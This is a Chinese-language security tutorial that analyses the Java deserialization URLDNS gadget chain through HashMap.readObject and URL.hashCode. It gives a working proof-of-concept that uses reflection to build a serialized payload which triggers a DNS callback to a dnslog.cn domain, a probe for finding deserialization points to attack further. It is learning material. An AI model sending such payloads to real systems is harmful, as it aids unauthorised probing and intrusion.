Java反序列化漏洞-URLDNS链分析

前置知识

菜鸟教程 Java 序列化

Java安全-反射

URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方，传入序列化后的URLDNS利用链，如果目标主机解析了这个URL地址，那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。

反射

下面是两个本文中要用到的反射方法：

反射获取类对象：

Student s = new Student();
//方法1
Class clazz = s.getClass();
//方法2
Class clazz2 = Student.class;

反射修改私有成员变量：

Field name = clazz.getDeclaredField("name");
name.setAccessible(true);
name.set(s,"zzy");

分析

1. URL

URL.class关键代码

public final class URL implements java.io.Serializable {
    private int hashCode = -1;

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
}

首先看，URL类中有个hashCode方法，他会调用URLStreamHandler类的hashCode方法，URLStreamHandler的hashCode方法里面有个getHostAddress方法，它又会调用InetAddress下面这行代码，发起DNS请求。

addresses = nameService.lookupAllHostAddr(host);

总而言之，记住调用URL类的hashCode方法就会发起DNS请求就可以了，域名是通过构造方法传入的。

写一下代码来看看能不能实现DNS请求

package com.learn;

import java.net.MalformedURLException;
import java.net.URL;

public class Blog {
    public static void main(String[] args) throws MalformedURLException {
        URL url = new URL("https://test.wc5uoi.dnslog.cn");
        url.hashCode();
    }
}

可以看到成功发起了DNS请求

我们最终要的效果是在反序列化的过程中发起DNS请求，那么需要在readObject中有hashCode方法，或者在readObject中有的方法调用了URL类的hashCode方法

URL类中的readObject方法

URL类自身的readObject方法有点没有头绪，我们还是来找找其他类的readObject方法吧

2. HashMap

可以看到HashMap有一个hash方法调用了hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

右键hash方法，选择查找用法，可以看到HashMap的readObject方法使用了hash方法，readObject不正好是反序列化的入口点吗，那可太好了

在readObject中key是从输入流中读取的。具体来说，在循环中，通过调用s.readObject()方法来读取一个对象，并将其强制转换为K类型，即键的类型。

所以key的值是从序列化的HashMap对象获得的，在这里我们可以把key的值设成URL对象，那么在hash方法中就会调用URL的hashCode方法，进而完成DNS解析。

试着写一下代码

package com.learn;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Blog {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        URL url = new URL("https://test.9oeary.dnslog.cn");
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        hashMap.put(url, "123");

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        //Serialize
        ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOut.writeObject(obj);
        objectOut.close();
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        //UnSerialize
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object result = objIn.readObject();
        System.out.println(result.toString());
        objIn.close();
    }
}

成功完成DNS请求

虽然这里成功发起dns请求了，但是把序列化和反序列化代码注释掉，他还是发起了dns请求

这是为什么呢？

3. 解决一些问题

通过调试看到，HashMap在put的时候就会调用hash方法

所以程序在序列化前就会发起dns请求，那么怎么才能在序列化前不触发dns请求呢？

继续跟进程序，这是URL的hashCode方法：

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

可以看到如果hashCode变量不是-1的话，那么就会return，不会再执行handler.hashCode，这样就不会发起dns请求

继续跟进，发现hashCode在定义时的初始值就是-1

private int hashCode = -1;

反射修改字段值

由于hashCode是私有变量，无法直接修改，所以这里用反射来修改成员变量的值

Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

由于这里把hashCode改为1了，在put后还需要把它改回-1，让程序在反序列化还会发起dns请求

//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

hashMap.put(url, "123");

//将hashCode改回 -1
hashCodeField.set(url, -1);

POC

package com.learn;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Blog {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("https://test.0x044e.dnslog.cn");
        HashMap<URL, String> hashMap = new HashMap<URL, String>();

        //将hashCode改为 1
        Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);

        hashMap.put(url, "随便输入点东西");

        //将hashCode改回 -1
        hashCodeField.set(url, -1);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        //Serialize
        ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOut.writeObject(obj);
        objectOut.close();
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        //UnSerialize
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object result = objIn.readObject();
        System.out.println(result.toString());
        objIn.close();
    }
}

到此poc已构造完毕，把序列化的数据发送到可能存在反序列化时的功能点上，如果dns请求成功，那么就代表这个功能点存在反序列化，之后可以进一步利用其他的反序列化漏洞来进行测试

利用链

HashMap.readObject()
    HashMap.hash()
        URL.hashCode()
            URLStreamHandler.hashCode()
                URLStreamHandler.getHostAddress()